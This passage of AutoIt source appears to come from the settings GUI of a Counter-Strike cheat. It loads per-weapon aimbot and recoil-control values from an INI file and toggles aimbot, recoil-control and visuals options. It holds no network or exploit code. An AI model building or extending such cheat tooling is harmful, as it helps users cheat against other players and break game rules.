IniRead($FileSet, "WeaponSettings", "aimbot_p228.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p228.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p228.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_p228.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p228.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "p250" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p250.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p250.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p250.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_p250.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p250.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "usp" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_usp.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_usp.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_usp.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_usp.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_usp.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "famas" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_famas.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_famas.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_famas.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_famas.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_famas.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "ak47" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ak47.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ak47.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ak47.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_ak47.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ak47.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "nova" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_nova.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_nova.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_nova.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_nova.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_nova.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "mag7" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mag7.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mag7.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mag7.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_mag7.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mag7.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "ump45" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ump45.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ump45.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ump45.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_ump45.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ump45.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "mp7" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp7.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp7.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp7.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp7.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp7.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "m4a1" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m4a1.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m4a1.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m4a1.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_m4a1.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m4a1.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "galil" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galil.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galil.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galil.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_galil.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galil.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "galilar" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galilar.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galilar.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galilar.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_galilar.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_galilar.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "aug" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_aug.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_aug.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_aug.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_aug.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_aug.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "scar20" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar20.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar20.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar20.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar20.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar20.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "awp" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_awp.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_awp.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_awp.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_awp.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_awp.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "g3sg1" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_g3sg1.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_g3sg1.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_g3sg1.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_g3sg1.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_g3sg1.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "m249" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_M249.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m249.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m249.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_m249.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m249.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "m3" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m3.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m3.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m3.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_m3.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_m3.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "mp5navy" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp5navy.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp5navy.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp5navy.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp5navy.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp5navy.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "scout" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scout.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scout.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scout.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_scout.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scout.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "sg550" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg550.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg550.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg550.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg550.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg550.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "sg552" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg552.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg552.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg552.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg552.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg552.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "tmp" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tmp.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tmp.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tmp.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_tmp.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tmp.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "xm1014" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_xm1014.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_xm1014.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_xm1014.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_xm1014.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_xm1014.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "negev" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_negev.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_negev.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_negev.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_negev.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_negev.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "sawedoff" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sawedoff.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sawedoff.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sawedoff.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_sawedoff.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sawedoff.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "tec9" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tec9.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tec9.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tec9.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_tec9.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_tec9.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "taser" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_taser.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_taser.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_taser.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_taser.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_taser.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "mp9" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp9.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp9.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp9.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp9.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mp9.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "scar17" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar17.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar17.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar17.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar17.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_scar17.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "ssg08" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ssg08.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ssg08.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ssg08.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_ssg08.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_ssg08.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf EndSwitch Case $smoothmin $smooth -=1 If $smooth < 0 Then $smooth = 0 EndIf GUICtrlSetData($smoothdis, $smooth) Case $smoothplus $smooth +=1 GUICtrlSetData($smoothdis, $smooth) Case $VISon If $viasghfaf = 1 Then GUICtrlSetImage($VISon, @TempDir & "\Disable.bmp") $viasghfaf = 0 Else GUICtrlSetImage($VISon, @TempDir & "\Active.bmp") $viasghfaf = 1 EndIf Case $keymin $key -=1 If $key < 1 Then $key = 1 EndIf GUICtrlSetData($keydis, $key) Case $keyplus $key +=1 GUICtrlSetData($keydis, $key) Case $Aimon If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") $readenablevalue = 0 Else GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") $readenablevalue = 1 EndIf Case $RCSon If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") $readrcsvalue = 0 Else GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") $readrcsvalue = 1 EndIf Case $fovleft $readfovvalue -=1 If $readfovvalue < 1 Then $readfovvalue = 1 EndIf GUICtrlSetData($menufov, $readfovvalue) Case $fovright $readfovvalue +=1 If $readfovvalue > 12 Then $readfovvalue = 12 EndIf GUICtrlSetData($menufov, $readfovvalue) Case $heightleft $readheightvalue -=1 If $readheightvalue < 1 Then $readheightvalue = 1 EndIf GUICtrlSetData($menuheight, $readheightvalue) Case $heightright $readheightvalue +=1 